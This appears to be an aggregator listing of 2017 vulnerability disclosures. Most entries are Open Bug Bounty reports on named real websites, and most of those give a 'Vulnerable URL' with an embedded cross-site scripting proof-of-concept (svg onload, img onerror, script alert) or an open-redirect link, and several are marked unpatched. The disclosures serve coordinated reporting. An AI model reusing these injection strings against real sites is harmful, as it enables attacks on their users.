CloudView NMS Cross-Site Scripting Vulnerability (CNVD-2017-12302)

CloudView NMS is a network management and monitoring system that automatically discovers, monitors and performs tasks from CloudView NMS USA. A cross-site scripting vulnerability exists in versions of CloudView NMS prior to 2.10a. A remote attacker can exploit this vulnerability to inject arbitra...

Schneider Electric U.motion Builder (Update A)

1. EXECUTIVE SUMMARY CVSS v3 10.0 ATTENTION: Remotely exploitable/low skill level to exploit. Public exploits are available. Vendor: Schneider Electric Equipment: U.motion Builder --------- Begin Update A Part 1 of 5 -------- Vulnerabilities: SQL Injection, Path Traversal, Improper...

ug.ru XSS vulnerability

Vulnerable URL: http://ug.ru/archive/ug/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 104432 VIP website status:| Yes Check ug.ru SSL connection:| Grade: A Coordinated Disclosure...

otimizacaodesites.pt Open Redirect vulnerability

Vulnerable URL: http://otimizacaodesites.pt/redirect.php?url=https://www.openbugbounty.org/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.08.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

boatbrowser.com XSS vulnerability

Vulnerable URL: http://www.boatbrowser.com/TellAFriend.asp?boat=1"...

z1000-forum.de Open Redirect vulnerability

Vulnerable URL: http://www.z1000-forum.de/g.php?url=https://www.openbugbounty.org/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.08.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 464215 VIP website status:| No Check...

ballerupbladet.dk XSS vulnerability

Vulnerable URL: http://ballerupbladet.dk/wp-content/banners/xl-byg.swf?clickTAG=javascript:alert%27OPENBUGBOUNTY%27 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5423868 VIP websi...

forum.softgozar.com Open Redirect vulnerability

Vulnerable URL: http://forum.softgozar.com/redirect-to/?redirect=https://www.openbugbounty.org/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.08.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VI...

rrauction.com XSS vulnerability

Vulnerable URL: https://rrauction.com/previewgallery.cfm?Category=0=HP="' /Style=position:fixed;top:0;left:0;font-size:999px; /Onmouseenter=confirmOPENBUGBOUNTY //= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.08.2017 Vulnerability type:| XSS Vulnerability status:|...

holidayautos.com XSS vulnerability

Vulnerable URL: https://www.holidayautos.com/nl/book/"'--! Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 56735 VIP website status:| Yes Check holidayautos.com SSL connection:|...

knvbshop.nl XSS vulnerability

Vulnerable URL: http://www.knvbshop.nl/skin/adminhtml/default/default/media/editor.swf?bridgeName=1";alert1catchealertOPENBUGBOUNTY// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

pricefalls.com XSS vulnerability

Vulnerable URL: https://www.pricefalls.com/search?q='onfocus='alert/OPENBUGBOUNTY/'autofocus=' id== Details: Description| Value ---|--- Patched:| Yes, at 14.08.2017 Latest check for patch:| 14.08.2017 11:08 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 49969 V...

immigration-netherlands.com XSS vulnerability

Vulnerable URL: http://www.immigration-netherlands.com/search/results?q=%22%3E%3Csvg/onload=prompt%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017 15:14 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclose...

salzburg.info XSS vulnerability

Vulnerable URL: https://www.salzburg.info/en/search?q=%27%22%3E%3Csvg%2Fonload%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 130916 VIP websit...

starfacesecurities.com XSS vulnerability

Vulnerable URL: http://www.starfacesecurities.com/addcart.php?imageid=40%27%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017 15:13 GMT Vulnerability type:| XSS Vulnerability status:|...

rekentuin.nl XSS vulnerability

Vulnerable URL: https://www.rekentuin.nl/?s=a%27aa%22onfocus%3Dprompt%28%2FOPENBUGBOUNTY%2F%29+autofocus%3Dx+bad%3D%22 Details: Description| Value ---|--- Patched:| Yes, at 06.07.2017 Latest check for patch:| 06.07.2017 09:16 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

magiclite.com XSS vulnerability

Vulnerable URL: https://magiclite.com/Product.php?productid=15946"'--! Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7200527 VIP website status:| No Check magiclite.com SSL...

secure.compass1.org XSS vulnerability

Vulnerable URL: https://secure.compass1.org/np/clients/compass/tellFriend.jsp?subject=Attending%20Set%20Your%20House%20in%20Order%20Small%20Group%20Study%20-%20Online%20-%20April%202,%202014=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E Details: Description| Value ---|---...

cunyportal.cuny.edu XSS vulnerability

Vulnerable URL: https://cunyportal.cuny.edu/cpr/authenticate/portallogin.jsp?oberror=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

universityadmissions.se XSS vulnerability

Vulnerable URL: https://www.universityadmissions.se/intl/search?advancedLevel===programs=======sv==fulltime=ST2017==2==a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=--%3Em%3C%3C/title%3E%3C/script%3E%3Cmarquee%20onstart=prompt%27OPENBUGBOUNTY%27%3Exxxxx= Details: Description| Value...